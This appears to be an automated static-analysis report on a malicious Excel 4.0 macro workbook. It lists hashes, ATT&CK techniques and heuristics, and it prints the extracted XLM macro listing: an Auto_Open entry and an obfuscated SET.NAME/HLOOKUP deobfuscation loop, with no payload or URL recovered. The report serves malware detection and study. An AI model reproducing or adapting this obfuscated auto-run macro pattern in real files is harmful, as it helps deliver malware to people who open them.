Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dc9d5f4cd78ad001…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:24 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 121652b4c7c979a6cc378de063defe1a SHA-1: d8a25fa2140bdf017c6fbedebb93af8a55e1581c SHA-256: dc9d5f4cd78ad00166d330cca9affe1086f5ac762a777c3b5afb1eb846932b61
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open function, which is a common technique for executing malicious code upon opening. The presence of dangerous formula APIs in the Auto_Open macro indicates an intent to run arbitrary commands. While no specific payload or URL is directly extracted, the mechanism strongly suggests the execution of a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6505 bytes
SHA-256: 2051ebf6c1b12fbe523c063bace0489907168077a864f80a2d50bf861269057e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tue
' 0018     26 LABEL : Cell Value, String Constant - AHZxGoHjKdO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A149 
' 0018     23 LABEL : Cell Value, String Constant - DKlEMKHM len=0 
' 0018     25 LABEL : Cell Value, String Constant - EkKtWLMMRp len=0 
' 0018     23 LABEL : Cell Value, String Constant - EvxiuYIi len=0 
' 0018     23 LABEL : Cell Value, String Constant - FqSASuxN len=0 
' 0018     25 LABEL : Cell Value, String Constant - GodnAKSiez len=0 
' 0018     22 LABEL : Cell Value, String Constant - gUqvJNA len=0 
' 0018     22 LABEL : Cell Value, String Constant - iduXqfK len=0 
' 0018     24 LABEL : Cell Value, String Constant - LhzruqYix len=0 
' 0018     20 LABEL : Cell Value, String Constant - LQLTc len=0 
' 0018     22 LABEL : Cell Value, String Constant - naifFoB len=0 
' 0018     24 LABEL : Cell Value, String Constant - PkRwWipQA len=0 
' 0018     20 LABEL : Cell Value, String Constant - TDxTU len=0 
' 0018     22 LABEL : Cell Value, String Constant - uigqJfn len=0 
' 0018     25 LABEL : Cell Value, String Constant - uIHPAfOtKg len=0 
' 0018     24 LABEL : Cell Value, String Constant - venRTLYda len=0 
' 0018     22 LABEL : Cell Value, String Constant - wyJbCeV len=0 
' 0018     20 LABEL : Cell Value, String Constant - Wysdh len=0 
' 0018     20 LABEL : Cell Value, String Constant - xWDJP len=0 
' 0018     24 LABEL : Cell Value, String Constant - yTHImPcrz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tue,R40,"",-80.00000000000000000000
'  tue,R41,"",658.00000000000000000000
'  tue,R42,"",410.00000000000000000000
'  tue,R43,"",504.00000000000000000000
'  tue,R44,"",474.00000000000000000000
'  tue,R45,"",-825.00000000000000000000
'  tue,A64,"SET.NAME("LQLTc",0+VALUE("0"))",""
'  tue,A69,"SET.NAME("FqSASuxN",LQLTc)",""
'  tue,A74,"SET.NAME("venRTLYda",LQLTc)",""
'  tue,A78,"SET.NAME("wyJbCeV",COUNTA(naifFoB))",""
'  tue,A80,"SET.NAME("yTHImPcrz",COUNTA(PkRwWipQA))",""
'  tue,A83,[],""
'  tue,A85,"SET.NAME("Wysdh","")",""
'  tue,A87,"FqSASuxN",""
'  tue,A92,"SET.NAME("LhzruqYix",HLOOKUP("*",naifFoB,FqSASuxN,FALSE))",""
'  tue,A97,"iduXqfK",""
'  tue,A101,"SET.NAME("EkKtWLMMRp",LQLTc)",""
'  tue,A103,[],""
'  tue,A105,"EkKtWLMMRp",""
'  tue,A107,"uigqJfn",""
'  tue,A109,"TDxTU",""
'  tue,A114,"xWDJP",""
'  tue,A119,"SET.NAME("DKlEMKHM",VALUE(HLOOKUP("*",PkRwWipQA,xWDJP,FALSE)))",""
'  tue,A121,"gUqvJNA",""
'  tue,A125,"Wysdh",""
'  tue,A129,"venRTLYda",""
'  tue,A131,NEXT(),""
'  tue,A133,"GodnAKSiez",""
'  tue,A135,[],""
'  tue,A140,"AHZxGoHjKdO",""
'  tue,A143,NEXT(),""
'  tue,A146,RETURN(),""
'  tue,A173,"SET.NAME("uIHPAfOtKg",A64)",""
'  tue,A177,"naifFoB",""
'  tue,A181,"SET.NAME("PkRwWipQA",R66C12)",""
'  tue,A185,"SET.NAME("AHZxGoHjKdO",192)",""
'  tue,A188,"SET.NAME("EvxiuYIi",1)",""
'  tue,A191,uIHPAfOtKg(),""
'  tue,A192,HALT(),""